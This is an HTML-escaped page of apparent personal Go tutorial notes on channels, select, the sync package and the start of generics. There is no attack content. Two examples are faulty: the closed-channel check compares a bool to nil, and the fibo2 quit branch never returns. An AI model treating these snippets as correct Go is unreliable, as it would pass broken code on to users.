&lt;h3 id=&#34;channels&#34;&gt;Channels&lt;/h3&gt;
&lt;p&gt;Go &lt;code&gt;channel&lt;/code&gt;s are typed &lt;em&gt;channels&lt;/em&gt; through which you can send and receive values.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make(&lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// sending&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// receiving&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By default sends and receives are blocking until the other side reacts - this allows goroutines to synchronize without explicit locks and such.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt; []&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;range&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// send through channel instead of return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make(&lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;[:len(&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;], &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sum&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;[len(&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;:], &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// receive two values through c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Channels can be buffered:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make(&lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sends only block when the buffer is full, receives only when it&amp;rsquo;s empty.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;range&lt;/code&gt; supports channels (gives only the value), and &lt;code&gt;close()&lt;/code&gt; can be used to close a channel.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fibo&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    close(&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fibo&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;range&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// can be checked too&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;nextfib&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ok&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cannot read from channel, already closed?&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;select&#34;&gt;Select&lt;/h3&gt;
&lt;p&gt;(&lt;strong&gt;Note:&lt;/strong&gt; this isn&amp;rsquo;t the &lt;code&gt;select()&lt;/code&gt; unix system call!)&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;select&lt;/code&gt; statement lets you wait on multiple channels. It blocks until one of it cases can run, then executes that one (chooses randomly if there are more).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fibo2&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;q&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;bool&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;select&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;: &lt;span style=&#34;color:#75715e&#34;&gt;// send if you can&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; = &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;q&lt;/span&gt;: &lt;span style=&#34;color:#75715e&#34;&gt;// quit if you&amp;#39;re asked to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;csá&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make(&lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;quit&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; make(&lt;span style=&#34;color:#66d9ef&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;bool&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;quit&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fibo2&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;quit&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There&amp;rsquo;s &lt;code&gt;default&lt;/code&gt; for &lt;code&gt;select&lt;/code&gt; as well, that you can use to implement non-blocking channel read:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;select&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ch&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;default&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fmt&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;channel empty&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sync&#34;&gt;sync&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;sync&lt;/code&gt; module contains various synchronization primitives to synchronize goroutines, like &lt;code&gt;sync.Mutex&lt;/code&gt;, &lt;code&gt;sync.WaitGroup&lt;/code&gt;, &amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;generics&#34;&gt;Generics&lt;/h2&gt;
&lt;p&gt;Very recent in go (1.18), pretty much what you expect.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;type parameters for functions and types&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;interface types as sets of types&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;type inference&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; min(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;y&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;float64&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;float64&lt;/span&gt;
